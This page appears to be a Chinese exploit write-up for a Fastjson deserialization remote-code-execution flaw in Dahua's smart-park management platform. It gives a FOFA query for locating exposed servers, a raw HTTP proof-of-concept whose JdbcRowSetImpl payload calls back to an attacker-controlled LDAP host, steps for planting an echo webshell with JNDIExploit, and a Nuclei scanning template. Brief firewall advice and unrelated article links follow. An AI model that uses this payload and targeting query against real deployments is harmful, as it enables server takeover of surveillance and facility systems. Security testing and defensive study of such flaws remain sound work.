大华智慧园区综合管理平台 /ipms/barpay/pay RCE漏洞复现

news/2025/2/16 3:27:13/

免责声明:文章来源互联网收集整理,请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。

Ⅰ、漏洞描述

大华园区综合管理平台可能是一个集成多种管理功能的平台,例如安全监控、设备管理、人员管理等。这样的平台通常有助于提高园区运营效率和安全性。

大华园区综合管理平台/ipms/barpay/pay,deleteFtp 接口处存在Fastjson反序列化漏洞 恶意攻击者可能会执行恶意代码,造成服务器失陷

Ⅱ、fofa语句

app="dahua-智慧园区综合管理平台"

Ⅲ、漏洞复现

POC

POST /ipms/barpay/pay HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/json
Accept-Encoding: gzip
Connection: close
cmd:whoami{"@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "ldap://your-dns", "autoCommit": true}

1、构建poc

2、查看DNS记录

3、利用JNDIExploit-1.4-SNAPSHOT.jar工具打入回显马执行RCE 

 

Ⅳ、Nuclei-POC

id: Dahua-ipms-Fastjson
info:name: 大华园区综合管理平台/ipms/barpay/pay,deleteFtp 接口处存在Fastjson反序列化漏洞 恶意攻击者可能会执行恶意代码,造成服务器失陷author: WLFseverity: highmetadata: fofa-query: app="dahua-智慧园区综合管理平台"
variables:filename: "{{to_lower(rand_base(10))}}"boundary: "{{to_lower(rand_base(20))}}"
http:- raw:- |POST /ipms/barpay/pay HTTP/1.1Host: {{Hostname}}User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15Content-Type: application/jsonAccept-Encoding: gzipConnection: close{"@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "ldap://{{interactsh-url}}", "autoCommit": true}matchers:- type: dsldsl:- contains(interactsh_protocol, "dns")condition: and

Ⅴ、修复建议

1、通过防火墙等安全设备设置访问策略;

2、设置白名单访问。如非必要,禁止公网访问该系统。


http://www.ppmy.cn/news/1344160.html

相关文章

基于BiLSTM-CRF模型的分词、词性标注、信息抽取任务的详解,侧重模型推导细化以及LAC分词实践

基于BiLSTM-CRF模型的分词、词性标注、信息抽取任务的详解,侧重模型推导细化以及LAC分词实践 1.GRU简介 GRU(Gate Recurrent Unit)门控循环单元,是[循环神经网络](RNN)的变种种,与 LSTM 类似通过门控单元解决 RNN 中不能长期记忆和反向传播中的梯度等问题。与 LSTM 相…

Webpack插件浅析

常用的webpack插件功能介绍: 1.HotModuleReplacementPlugin 模块热更新插件。Hot-Module-Replacement的热更新是依赖于webpack-dev-server,有时是在打包文件改变时更新打包文件或者重新加载刷新整个页面,HMR是只更新修改的部分。 HotModul…

vscode连接ssh报错

关于vscode更新版本至1.86后,导致无法连接服务器问题的记录 原因:vscode1.86更新了对glibc的要求,需要最低2.28版本,导致各种旧版本的linux发行版(比如最常见的centos 7)都无法用remote-ssh来连接了&#…

探索设计模式的魅力:外观模式简化术-隐藏复杂性,提供简洁接口的设计秘密

设计模式专栏:http://t.csdnimg.cn/U54zu 目录 引言:探索简化之路 一、起源和演变 二、场景案例分析 2.1 不用模式实现:用一坨坨代码实现 2.2 问题 2.3 外观模式重构代码 定义 界面 接口 利用外观模式解决问题步骤 外观模式结构和说明 重构…

【从零开始学设计模式】第三章_工厂模式

第三章_工厂模式 1.介绍 1.1定义 定义一个创建对象的接口,让其子类自己决定实例化哪一个工厂类,工厂模式使其创建过程延迟到子类进行。 1.2解决的问题 创建者和调用者的耦合,那么代码层面其实就是取消对new的使用。 1.3应用实例 需要一辆汽…

【Java】小白友好的MyBatis基础XML开发学习笔记

目录 MyBatis简介 MyBatis使用流程 配置文件(mybatis-config.xml) 映射文件(UserMapper.xml) DAO 接口(UserMapper.java) 使用 MyBatis Mapper代理 MyBatis核心配置文件 MyBatis参数类型和传递 …

C Primer Plus(第六版)15.9 编程练习 第6题

// // main.c // 15.9-6 // // Created by cjm on 2024/2/5. // #include <stdio.h> #include <stdbool.h> #include <string.h> struct font_style{ unsigned int font_ID : 8; unsigned int font_size : 7; unsigned int alignment : 2;//如果这…

验证码倒计时:用户界面的小细节,大智慧

欢迎来到我的博客&#xff0c;代码的世界里&#xff0c;每一行都是一个故事 验证码倒计时&#xff1a;用户界面的小细节&#xff0c;大智慧 前言为什么需要验证码倒计时防止滥用&#xff1a;用户心理&#xff1a; 设计考量可见性&#xff1a;友好性&#xff1a;适应性&#xff…